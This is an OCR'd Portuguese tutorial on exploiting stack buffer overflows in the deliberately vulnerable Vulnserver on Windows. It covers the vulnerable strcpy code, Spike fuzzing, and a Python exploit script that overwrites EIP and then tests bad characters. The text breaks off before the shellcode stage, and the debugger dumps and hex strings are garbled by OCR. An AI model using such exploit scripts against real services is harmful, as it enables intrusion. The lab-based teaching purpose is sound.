BUFFER
OVERFLOW
EM
WINDOWS



®

https://hastur666.github.io/Windows BoF/

BUFFER OVERFLOW EM WINDOWS.......oueveereeierereeceetesecaesesesaesessssesassssesessesssesssssssessssssessssssanes 4
SOBRE O QUE ESTE ESTUDO SE TRATA ....ouvetvceeeeeceeseceeesssae e sessesesssassesassesessesessesssassesssnansans 4
SOBRE O QUE ESTE ESTUDO NAO SE TRATA .....ouiiiuireiitereieeeesesesaesesssesesse s ssses s snsesans 4
LABORATORIO ...ttt ettt s st s bt s bbbttt es b sas s s b en s nans 4
OBSERVAGOES INPORTANTES ......ouvveceeveeeceeteseeteseeaesesesesesesaesessssesesssssssssssssassesesssssssssessassnsans 5
IMIATERIAL ....o.vovece et tesee e eete et s s sesesseses s s et sss s s et esassesasassessssssesanessensesasassesasassssnaneas 5
ANALISE DO CODIGO ..ottt sttt a bbb anae st s 6
ENUMERAGAD ........cucveteieeiiete sttt ae st s e s b ae et ae s s sss s s s s esnseaas 10

COMANDO TRUN ..ottt ettt a et s st s et sa s a st s st s st ses s s assesnasas 12
FUZZING .oovoeeeeeceeeeee e teete et s s e es et es st es st s sa st s s et e sase st enss s et s sesesnsesesansssasaetesassnsnanens 12
EXPLORAGAD ...ttt ettt ettt a ettt ettt e e et et et e e eresaen e st etestenssnenas 14
IDENTIFICANDO BADCHARS ......covvuiteteeeetesesaeteestesssse st sasae s s st s s sesae s ae s ssansas 19
ENCONTRANDO UM BOM ENDEREGO DE RETORNO........cooviverieerererecieeeaeseeseses e sesas s 20
INSERINDO O ENDEREGO DE RETORNO NO PAYLOAD.........cocueeeeereeceeeeeeeeseesesesnaesessessenenens 21
GERANDO O SHELLCODE E ORGANIZANDO O EXPLOIT .....ucuveeereeeeeeevceeieneesseseseesessesesesaenes 22
OBTENDO ACESSO REMOTO .....oovevveeeceeeceeeseese s ssasasessesesesssssssssesssssssssassesassssessesssasansans 24

COMANDO GTER ....ooouvtiieeteietetesstes st sae e st b et sesa et a s s et s st s st essssesssansessaesas 26
FUZZING ...oovveeeeeveete ettt ae et ss et s e sas st en et b s s st s sa et sas s bt s s s 26
EXPLORAGAD ...ttt ettt ettt ettt ettt et et et et e e ere st et e st enestensenenas 28
ENCONTRANDO UM BOM ENDEREGO DE RETORNO........coovrurereeeereceeieceeseeessseese s sesneeens 34
INSERINDO O ENDEREGO DE RETORNO NO PAYLOAD.........cocveveeerrereeiesieseeaese e sesas s, 34
PULANDO ENTRE ENDERECOS DE MEMORIA .......coouivierrereieceereseiesseesessae e 36
ENCONTRANDO A DISTANCIA COM IMMUNITY DEBBUGER.........ccceoovuevierereeeresneersesesneee. 37

Entendendo 0 PaYIOad ... ... e et ae e e e e e nees 39
ENCONTRANDO A DISTANCIA DO SALTO COM MSF-NASM_SHELL.......coevereeeerrrceerereerereeenn. 41
ANATOMIA DO REVERSE SHELL.....vcvuieveieireviecee ettt enasses s senes 41
ATUALIZANDO E ORGANIZANDO NOSSO EXPLOIT......cocvveeverereereeseesereesesseseseeae s aeseseesesenes 47

COMANDO GMON.....ccvviietiieete ettt es st st es st s s s s sassesesasses s e et esassesessesesessesssassesnaeas 52
FUZZING .oooeeeecee et teete et s st s e s s st en st es st s sa st ns et e sasa st ensss et s ses s s sssesansssasaetasassnsnanens 53
STRUCTURE EXCEPTION HANDING .....oovvvieceeeeeceeseeetesesteteseseeseseses s s sssessesessssssesssessessesssanes 56
EXPLORANDO O SEH ...ovveieviieeieseeee sttt st ae st s sesnaeaas 57
ESTRUTURA LIFO ..ottt sttt sa et a e s s s e s s snaas 60
PULANDO DE VOLTA PARA O BUFFER INICIAL .......oucecvreceeeeeceeieeee e seeee e sesae s 64

COMANDO KSTET ...oivveeceeececeeseete s seetesesestessseses s sesessesessssessssssssessssssessesesssasssssssssssssssnsssassnens 67
FUZZING .oooeeeecee et teete et s st s e s s st en st es st s sa st ns et e sasa st ensss et s ses s s sssesansssasaetasassnsnanens 67



®

https://hastur666.github.io/Windows BoF/

ESTAGIO 1: REUSO DE SOCKET

................................................................................................ 75
ESTAGIO 2: INJETANDO O REVERSE SHELL.....vvuiueiiieieieieiisseeessee ettt sse s 79
COMANDO LTER ...ttt bbb 81
FUZZING ...t s a bbb 82
PROCURANDO BADCHARS ..ottt e 88
CONCLUSAD ...ttt ettt b bbbttt eb et s ettt b s s 95



®

https://hastur666.github.io/Windows BoF/

BUFFER OVERFLOW EM WINDOWS

Neste laboratdrio, vamos explorar varias técnicas de buffer overflow no SO Windows, o
intuito € de entender a mecanica por tras de aplicagdes e programas e encontrar uma
forma de manipula-las.

Como programa alvo desta PoC, vamos utilizar o Vulnserver.exe, um programa
intencionalmente vulneravel para exploracao.

Vulnserver é um servidor TCP para Windows desenvolvido por Stephen Bradshal, seu
GitHub pode ser acessado aqui.

SOBRE O QUE ESTE ESTUDO SE TRATA

Este estudo trata da exploracéo e entendimento do fluxo de memdéria de um programa
no SO Windows. Como interpretar um Debugger e como nos aproveitar de fungdes
vulneraveis a buffer overflow. Dando uma visdo geral sobre criagao de exploits e base
para analise e desenvolvimento de malwares.

SOBRE O QUE ESTE ESTUDO NAO SE TRATA

Este estudo nao vai ensinar Assembly, vamos somente nos aprofundar na linguagem
ao ponto que possamos entender seu funcionamento. Também nao vamos utilizar
técnicas avangadas como bypass de ASLR, portanto esta protegéo estara desabilitada
em nossa maquina alvo.

Na maior parte dos cenarios reais, ndo teremos o cédigo fonte do programa para
analisarmos, mas como se trata de um cenario de estudos, vamos analisar o cédigo
fonte para entender alguns pontos.

LABORATORIO

Para este laboratorio, utilizaremos:

- Uma maquina virtual Windows 10 21H1 x64 como alvo;
- O programa vulneravel “Vulnserver.exe”;

- O debbuger Immunuty na maquina alvo;

- O plugin mona.py para o Immunity;

- Uma maquina Kali Linux 2021.2 como atacante;

- Bastante Python;

- A suite Metasploit Framework;
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OBSERVACOES IMPORTANTES

Existem varias outras técnicas para explorar as mesmas vulnerabilidades apresentadas
neste estudo. Os enderecos de memdria e os saltos matematicos que faremos, podem
mudar dependendo da versdo ou atualizacdo do SO alvo, porém a mecanica sera
sempre a mesma.

MATERIAL

Para fins de organizacao, este estudo sera dividido em partes, cada um abordando um
comando diferente do Vulnserver, aumentando a cplexidade gradativamente, e também
sera disponibilizado um PDF com a PoC completa. abaixo os links para cada parte.

- Analise do codigo
- Comando TRUN
- Comando GTER
- Comando GMON
- Comando KSTET
- Comando LTER

- Conclusao
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ANALISE DO CODIGO

Ao analisarmos o codigo vulnerver.c podemos encontrar algumas fungdes inseguras em
C. Estas sao responsaveis por permitir o buffer overflow. No cédigo, podemos encontrar
as seguintes fungdes.

void Functionl(char *Input) {
char Buffer25[140];

strcpy(Buffer2S, Input);

void Function2(char *Input) {
char Buffer2S[60];

strcpy(Buffer2S, Input);

void Function3(char *Input) {
char Buffer25[2000];

strcpy(Buffer2S, Input);

void Function4(char *Input) {
char Buffer2S[1000];

strcpy(Buffer2S, Input);

As quatro fungdes utilizam a “strcpy” que € uma fungéo vnineravel em C. Esta fungéo
copia o valor de uma entrada para um buffer, mas esta fungao nao verifica se o tamanho
da entrada € o mesmo ou inferior ao buffer de destino. Portanto, se uma entrada for
repassada e seu tamanho for maior que o buffer de destino, teremos um buffer overflow
que ira sobrescrever outros enderegos de memodria.

Continuando a analise do cddigo, podemos identificar onde estas fungdes séao
chamadas pelo programa.
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else if (strncmp(RecvBuf, "KSTET ", 6) == 0) {
char *KstetBuf = malloc(100);
strncpy(KstetBuf, RecvBuf, 100);
memset(RecvBuf, 0, DEFAULT BUFLEN);
Function2(KstetBuf);

SendResult = send( Client, "KSTET SUCCESSFUL\n", 17, 0 );

Essa funcao nos diz que se recebemos nosso buffer seguido de “KSTET ” o programa
vai alocar 100 bytes na memaria, copia 100 bytes para um novo buffer e reseta o buffer
recebido para 0. Logo em seguida chama a “Function2”, uma de nossas fungdes
vulneraveis.

Porém, na primeira imagem vimos que a Fnction2 aceita somente 60 bytes, se o
parametro envia 100 bytes, temos um overflow de 40 bytes no buffer.

Portanto identificamos que as vulnerabiidades do programa vém do buffer de entrada
até o buffer overflow, vamos tentar identificar outras partes do programa com partes
vulneraveis.

else if (strncmp(RecvBuf, "TRUN ", 5) == 0) {
char *TrunBuf = malloc(3000);
memset(TrunBuf, 0, 3000);
for (i =5; i < RecvBuflLen; i++) {
if ((char)RecvBuf[i] ==".") {

strncpy(TrunBuf, RecvBuf, 3000);

Function3(TrunBuf);

break;

}
memset(TrunBuf, 0, 3000);

SendResult = send( Client, "TRUN COMPLETE\n", 14,0 );
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O comanto “TRUN” tem um funcionamento parecido com KSTET, porém faz uma
segunda validagao se o caractere “.” esta presente no buffer, s6 apds a confirmacgao ele

chama a “Function3” vulneravel.

else if (strncmp(RecvBuf, "LTER ", 5) == 0) {

char *LterBuf = malloc(DEFAULT_BUFLEN);
memset(LterBuf, 0, DEFAULT_BUFLEN);
i=0;
while(RecvBuf(i]) {

if ((byte)RecvBuf[i] > 0x7f) {
LterBufi] = (byte)RecvBuf[i] - 0x7f;
}else {

LterBuf[i] = RecvBuf]i];

i++;
}
for (i=5; i < DEFAULT_BUFLEN; i++) {
if ((char)LterBuf[i] ==".") {
Function3(LterBuf);

break;

}

memset(LterBuf, 0, DEFAULT _BUFLEN);

SendResult = send( Client, "LTER COMPLETE\n", 14, 0);

O comando “LTER” copia o buffer recebido para a variavel “LterBuf” e depois subrai Ox7f
(127) bytes caso o buffer seja maior que 0x7f. Depois disso o cddigo verifica se o

caractere “.” esta presente, caso seja verdadeiro, ele chama a “Function3” vulneravel.
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else if (strncmp(RecvBuf, "GTER ", 5) == 0) {
char *GterBuf = malloc(180);
memset(GdogBuf, 0, 1024);
strncpy(GterBuf, RecvBuf, 180);
memset(RecvBuf, 0, DEFAULT BUFLEN);
Function1(GterBuf);

SendResult = send( Client, "GTER ON TRACK\n", 14, 0);

O comando “GTER” tem um funcionamento mais simples, ele copia 180 bytes do buffer
de entrada para o buffer temporario “GterBuf’ e depois envia seuconteido para a
“Function1”. Como vimos que a Function1 tem um espago de 140 bytes, temos o buffer
overflow.

else if (strncmp(RecvBuf, "HTER ", 5) == 0) {

char THBuf[3];

memset(THBuf, 0, 3);

char *HterBuf = malloc((DEFAULT_BUFLEN+1)/2);

memset(HterBuf, 0, (DEFAULT BUFLEN+1)/2);

i=6;

k=0;

while ( (RecvBufli]) && (RecvBuf[i+1])) {
memcpy(THBuf, (char *)RecvBuf+i, 2);
unsigned long j = strtoul((char *)THBuf, NULL, 16);
memset((char *)HterBuf + k, (byte)j, 1);
i=i+2;

k++;

’

}
Function4(HterBuf);
memset(HterBuf, 0, (DEFAULT BUFLEN+1)/2);

SendResult = send( Client, "HTER RUNNING FINE\n", 18, O
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O comando “HTER” é o que tem a maior complexidade, pois ele faz a chamada para a
“Function4” apdés um lago while e nossa faze de exploragdo precisa entender
exatamente como este lago se comporta.

Nesse ponto, identificamos no cédigo do programa, todas as fungbes e comandos
vulneraveis, agora podemos passar para a exploragao.

ENUMERACAO

O vulnserver.exe escuta conexdes na porta 9999 da nossa maquina Windows alvo.

¥ C:\Users\suite\Desktop\vulnserver.exe
Starting vulnserver version 1.00
Called essential fur n dll version 1.00

This is vulnerable software!
Do not allow access from untrusted systems or networks!

Waiting for client connections...

Através na nossa maquina Kali, podemos nos conectar utilizando o netcat.

10
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~/Windows_BoF
192.168.1.30 9999
192.168.1.30: inverse host lookup failed: Unknown host
(UNKNOWN) [192.168.1.30] 9999 (?) open
Welcome to Vulnerable Server! Enter HELP for help.
HELP
Valid Commands:
HELP
STATS [stat_value]
RTIME [rtime_value]
LTIME [ltime_value]
SRUN [srun_value]
TRUN [trun_value]
GMON [gmon_value]
GDOG [gdog_value]
KSTET [kstet_value]
GTER [gter_value]
HTER [hter_value]
LTER [lter_value]
KSTAN [lstan_value]
EXIT

Ao enviarmos o comando “HELP”, o programa nos responde com todos os camandos
aceitos, incluindo os vulneraveis que ja identificamos. Pela resposta podemos identificar

que ele trabalha com o modelo “comando argumento”, que no caso sera comando
buffer.

Na proxima etapa, iniciaremos a exploragdo das vulnerabilidades.

11
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COMANDO TRUN

O comando TRUN, assim como os demais, recebe um argumento e da uma resposta.

~/Windows_BoF
192.168.1.30 9999
Welcome to Vulnerable Server! Enter HELP for help.
TRUN
UNKNOWN COMMAND

TRUN teste
TRUN COMPLETE

0

Sabendo de seu funcionamento, precisamos fazer o fuzzing do comando e descobrir se
conseguimos causar o crash no programa.

FUZZING

Para fazer o fuzzing, vamos utilizar o protocolo Spike. Para tanto, vamos criar nosso
script.

trun.spk:

s_string("TRUN ");

s_string_variable("*");

Onde:

- s_string: € um parametro imutavel, no nosso caso, sempre ira enviar “TRUN ”
(n&o esquega do espago apds o TRUN);

- s_string_variable: é um parédmetro que indica o que sefd mudato em cada
envio.

12
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Antes de enviar o fuzzing, vamos iniciar o wireshark monitorando nossa conexao.

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help
AOA® +t BR@ Qa ¢« »n<«>»>PEoool

N ip.dst == 192.168.1.27

No. Time Source Destination Protocol Length Info
9 3.058807583 192.168.1.12 157.240.12.53 106 Application Data
10 3.071211581 157.240.12.53 192.168.1.12 Tcp 66 443 . 50788 [ACK] Seq=1 Ack=41 Win=555 Len=0 TSval=3193491333 TSecr=1170525515
11 3.278903809 157.240.12.53 192.168.1.12 TLSv1.2 113 Application Data
12 3.278943871 192.168.1.12 157.240.12.53 66 50788 . 443 [ACK] Seq=41 Ack=48 Win=12598 Len=0 TSval=1170525735 TSecr=3193491477
18 8.186100933 192.168.1.12 52.48.229.36 - 105 Application Data
19 8.500346285 52.48.229.36 192.168.1.12 66 443 . 34862 [ACK] Seq=1 Ack=40 Win=442 Len=0 TSval=80456859 TSecr=3437221371

» Frame 9: 106 bytes on wire (848 bits), 106 bytes captured (848 bits) on interface wlane, id ©

» Ethernet II, Src: IntelCor_6c:87:bc (5c 7:bc), Dst: RealtekS_8b:80:ab (©0:e0:4c:8b:80:ab)
» Internet Protocol Version 4, Src: 192.1 2; 157.240.12.53

» Transmission Control Protocol, Src Port: 50788, Dst Port: 443, Seq: 1, Ack: 1, Len: 40

» Transport Layer Security

00 €0 4c 8b 80 ab 5¢c cd Sb ©c 87 bc 08 00 45 00
00 5c bf ad 40 00 40 66 Of 15 co a8 01 Oc 9d fo
@c 35 c6 64 01 bb 0f 84 b2 2b 65 67 2b e3 80 18
31 36 6c 28 60 60 61 61 ©8 ©a 45 c4 cd 4b be 58
8d ea 17 ©3 03 00 23 e®@ 7e c9 55 a9 36 64 86 85
31 6f @d 15 16 eb dd 9f 14 c7 41 fo 62 60 1b 4c
el b3 70 b5 05 6d cf de 88 dd

Com o programa iniciado na maquina Windows, vamos enviar nosso fuzzing com o
script “generic_sender_tcp”.

~/../estudos/binarios/windo

‘ "3 192.168.1.30 9999 trun.spk
Total Number of Strings is 681
Fuzzing
Fuzzing Variable 0:
Fuzzing Variable 0:
Variablesize= 5004
Fuzzing Variable 0:
Variablesize= 5005
Fuzzing Variable 0:
Variablesize= 21
Fuzzing Variable 0:
Variablesize= 3
Fuzzing Variable 0:
Variablesize= 2
Fuzzing Variable
Variablesize= 7
Fuzzing Variable
Variablesize= 48
Fuzzing Variable
Variablesize= 45
Fuzzing Variable
Variablesize= 49
Fuzzing Variable
Variablesize= 46

A

Podemos ver que na terceira iteragdo, o programa parou de responder,
automaticamente fechou na maquina Windows. Analisando o dump no Wilreshark,
podemos verificar o que foi enviado.

13
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Wireshark - Follow TCP Stream (tcp.stream eq 8) - wlan0

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA, AAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA, AAAAAAA AAA AAAA AA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAA AAAAAAAAA A AAAAAAA AAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA,

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA,

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA, AAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAA AA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA

AAA AAAAAAAA AAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAA AAA AAAA AAAAAAAAAAAAAA

Entire conversation (5,061 bytes) v Show dataas ASCII e Stream 8 °

Find: Find Next

Filter Out This Stream Print Save as... Close Help

Podemos observar que o buffer estouruou com 5061 bytes, sendo que o nosso buffer
inicia com “/.../”. Conforme haviamos estudado no cddigo do programa, o comando

TRUN checa se o caractere “.” esta presente em nosso buffer, o que foi comprovato pelo
teste de fuzzing.

EXPLORACAO

Agora que sabemos que o programa sofreu um crash com 5061 bytes, ja incluindo o
comando “TRUN /.../”, podemos iniciar o esbogo do exploit.

xpltrun.py:

#!/usr/bin/python3
import socket

# variaveis de conexao
ip ="192.168.1.30"
porta = 9999

# tamanho do offset encontrado no fuzzing
offset = 5061

# payload a ser enviado
payload = b"TRUN /../" + b"A" * offset

s = socket.socket(socket. AF_INET, socket. SOCK_STREAM) # cria o socket
s.connect((ip,porta)) # conecta no alvo

s.send(payload + b"\r\n") # envia o payload

s.close() # fecha conexao

14
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Precisamos iniciar o vulsnerver, mas agora com o Immunity Debbuger.

X

& Immunity Debugger [yulnserver.exe - [CPU - main thread, module vulnserv] =
€] File View Debug Plugins immib Op!lor\s Window Help Jobs

% TE «x
55 PUSH EBP
89ES MOU EBP,ESP
83EC 18 SUB ESP,18 5]
C70424 ©180980( MOU -1 DX 30PA0A0N
FF15 6C614000 DWORD PTR DS:[<&msvcrt.__set_app_t: msucrt 3% AASANRBR
ES DSFEFFFF vulnserv.00401020 BB6BF24C
90 NOP EBP B@60F2A0
8DB426 0PBAOA( LEA ESI.DWORD PTR DS:[ESI] BB?7B5F0
55 PUSH_EBP 008778528
MOU
PUSH_EBX SIP 77B42C3C ntd11.77B42C3C
SUB ES
OU EAX. cs
ss
DS
F

8828 32bit
LastErr ERROR_!

??45FA29 ) -Euw
BB23EQ00 .olt.
?745FA10 »-Ew KERNEL32.BaseThreadlnitThunk
B@6BFFDC =
??B37A7E RETURN to ntdll

o

alalala Lo ]e 1)
8BABRA0A
0B23EA00
#0BARARA
08000000
PAABRABA
il lala o ]e 1)
8B00BR60
BBa8Ba00
0BR0RA0A
9008P000
0BA0RA0A
alslalalala]o 1)
BB6BFF8C

R

nd of SEH chain
. handler

RETURN to ntdl1l.77B37A4E from ntdl1l.77B3
$ORPERAG
0800RA0A
0806008008
alalalalalale5)
90401130 vulnserv.{ModuleEntryPoint>
EQ00

8
IMGBJI FFC 00000000

Fi(HHC%l"ﬂ BB
9

Com tudo pronto, podemos rodar nosso script.

&3 Immunity Debugger - vulnserver.exe - [CPU - thread 00001AES] - X

€] File View Debug Plugins Immlib Options Windyw Help Jobs

% S € o1l W 8 lemtwhcpkb“...sv|

~ Registers CFPU) < <

@BA6GF1E8 ASCII “TRUN /../ARRARARARARAAAARAAAARAAAAAR
BBB9556C

{ BARRRALG
@Hmﬂﬁl@‘l

P 00A6 ASCII “AAAAAAAARAAAAAAAAAAAARAAAAAAAAAAAAAAAAARAAAAAAA
41414141
08401848 wvul ru.0B401848
08401848 wvuln rv.B80401848

EIP 41414141
Cc S 32hit

P @
A
Z

SS 8@82B 3
FIH?H 3
a 3.
S ‘10/]} 32bit
LastErr ERROR_SUCCESS <(00000000>

~ BOA6FIC8 MESEIETEL]
BOAGFICC 41414141
BBAGFIDB 41414141
BAA6FID4 41414141
BOA6FID8 41414141
41414141
41414141

41414141 AAAA
41414141
41414141
41414141
41414141
41414141

90403068

33333 78 00 : : 6 41414141

pofnpn o & 41414141

L 133 41414141

41414141

41414141

41414141

41414141

41414141

41414141

41414141

41414141

41414141

41414141

41414141

41414141

41414141

41414141

41414141

41414141

FAS4 41414141

BOA6FASS 41414141

0840311 9 BOA6FASC 41414141
00403120 00 8 8o g M 9906 FA6A 41414141 AAAA

=

[16:55:22]1 Access violation when executing [414141411 - use Shift+F7?/F8/F9 to pass exception to program Paused

15
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Podemos observar que nosso payload sobrescreveu o EIP e o ESP com nossos “A”,
nesse momento encontramos o buffer overflow “vanilla”, que é a forma mais simples de
buffer overflow.

Sabendo disso, precisamos encontrar o offset preciso para atingir o EIP, podemos criar
um pattern ciclico com o msf-pattern_create.

File Actions Edit View Help

Vamos inseri-lo em nosso script.

xpltrun.py:

#!/usr/bin/python3
import socket

# variaveis de conexao
ip="192.168.1.30"
porta = 9999

# tamanho do offset encontrado no fuzzing
offset = 5061

# payload a ser enviado
payload = b"TRUN /../"
payload += b"<o patter vai aqui>"

s = socket.socket(socket.AF_INET, socket. SOCK_STREAM) # cria o socket
s.connect((ip,porta)) # conecta no alvo

s.send(payload + b"\r\n") # envia o payload

s.close() # fecha conexao

16
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Agora vamos rodar o script novamente, e monitorar com o Immunity Debugger.

&8 Immunity Debugger -ilnserver.exe - [CPU - thread 00000154] - X

€| File View Debug Plugins Immlib Options Window Help Jobs - & x

% TE WX b0l b Ao lemcwh cPkbaz . s 2
~ Registers C(FPU)> < <

ASCIT “TRUN /../RaBRhalfRa2fa3fad4fabAabRa?AaB8AadAbBAbIAD:

“Co9Cp@Cp1C 3p4CpS5Cp6Cp7Cp8CpIC

#B401848
0401848

215151515 151215 b

0040.

8B4030A

00403080 00

084030 [’ A 515}

5] A 08
08 0@
aa

98403008 08 A 515}

AB4030EQ A 50%)

E a8
7]]
%1]
a8
a8
068 008
ae
a8

| ' ' E

'[17:02:45] Access violation when executing [386F43371 - use Shift+F?/F8/F9 to pass exception to program | Paused

Novamente o programa sofreu crash, mas temos o enderec¢o do EIP: 386F4337. Vamos
consultar no msf-pattern_offset para identificar o enderego preciso para sobrescrever o
ESP.

File Actions Edit View Help

hastur@hastur: ~/Desktop/estudos/binarios/windows/VulnServer

‘ )~ [~/../estudos/binarios/windows/VulnSer
— f-pattern_offset 5061 386F4337
[*] Exact match at offset 2003

Temos o offset preciso para atingir o EIP: 2003 bytes. Vamos atualizar nosso exploit e
verificar, vamos inserir 2003 “A” + 4 “B” e o restante de “C”, se o offset estiver correto,
vamos preencher o EIP com “42424242” (B em hexa), e o ESP com varios “C”.
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xpltrun.py:

#!/usr/bin/python3
import socket

# variaveis de conexao
ip="192.168.1.30"
porta = 9999

# tamanho do offset encontrado no fuzzing
offset = 5061

# payload a ser enviado

payload = b"TRUN /../" # funcao inicial

payload += b"A"*2003 # preenchimento do buffer
payload += b"B"*4 # sobrescreve EIP

payload += b"C" * (5061 - 2003 - 4) # sobrescreve ESP

s = socket.socket(socket. AF_INET, socket.SOCK_STREAM) # cria o socket
s.connect((ip,porta)) # conecta no alvo

s.send(payload + b"\r\n") # envia o payload

s.close() # fecha conexao

Vamos reiniciar o vulnserver no Immunity debbuger e rodar nosso script novamente.

3 Immunity Debugger - vulnserver.exe - [CHN - thread 000018C4] - X
€] File View Debug Plugins Immlib Options Window Help Jobs —[=]x
% T E X Il H i lemtwhcPkbdzr.. s -? B |

gisters (FPU> < < < < < <
BBC8F1E: IT “TRUN /../RARAAARAARAAARAAAAAAAAAAAAAARAAAAAAAAA
CX BBABS56:!
#ARBRA0A
000008164
BACBFIC8 *"CCCCCCCCCCCCe
41414141
08401848 v .00401848
90401848 v . 00401848

42424242

B@82B 32bit
@823 32bit
8@82B 32h
8028
8853 32h

S B@02B 32bit @

+ ERROR
Address |H 0 43434343
F FF FI -Q..

434343

43434343
43434343
43 343
43434343
@BC8F9E4 43434343
PAC8FIES
Bac! EC

43 3

43434343
43434343
43434343
43434343
4343434

4
4
4
43434343
43434343

43434343

43434343
43434343

1 : - - : > 43434343
08403120 98 80 . . 43434343

=]

[17:18:561 Access violation when executing [42424242]1 - use Shift+F?/F8/F9 to pass exception to program Paused
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Conseguimos sobrescrever com precisao o EIP com “42424242” e o ESP com nossa
sequencia de “C”. A partir de agora, temos total controle sobre como o programa se
comporta, precisamos encontrar quais sao os badchars.

IDENTIFICANDO BADCHARS

Para gerar uma sequéncia com todos os caracteres possiveis, vamos utilizar a
ferramenta “badchars” do python, para instalar basta executar “pip install badchars”.

-[~/../estudos/binarios/windows/VulnServer ]

\xe1\x02\x63\xOA\xOS\xOG\xe7\x08\x09\x0a\xeb\xec\xod\xee\xef\xle\xl1\x12\x13\x1A\x15\x16\x17\x18\x19\x1a\x1b\x1c\
x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x
39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x5

5\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71
\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\
x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xas\xa5\xa6\xa7\xa8\xa9\x
aa\xab\xac\xad\xae\xaf\xb@\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc
6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xdo\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0d\xel\xe2
\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xfO\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\

Vamos adicionar estes badchars em nosso payload no lugar dos “C” e rodar novamente.

#!/usr/bin/python3
import socket

# variaveis de conexao
ip="192.168.1.30"
porta = 9999

# tamanho do offset encontrado no fuzzing
offset = 5061

# payload a ser enviado

payload = b"TRUN /../" # funcao inicial

payload += b"A"*2003 # preenchimento do buffer

payload += b"B"*4 # sobrescreve EIP

payload +=

b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x 10\x 11\x 12\x 13\x 14\x 15\
x16\x17\x18\x19\x1a\x 1b\x 1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x 2
b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x4 0\x

41\x42\x43\x44\x45\x46\x4 7\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56
\X57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x6 1\x62\x63\x64\x65\x66\x6 7\x68\x69\x6a\x6b\x6
c\x6d\x6e\x6f\x70\x7 1\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x

82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97
\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xa
d\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbfixcO\xc 1\xc2\x

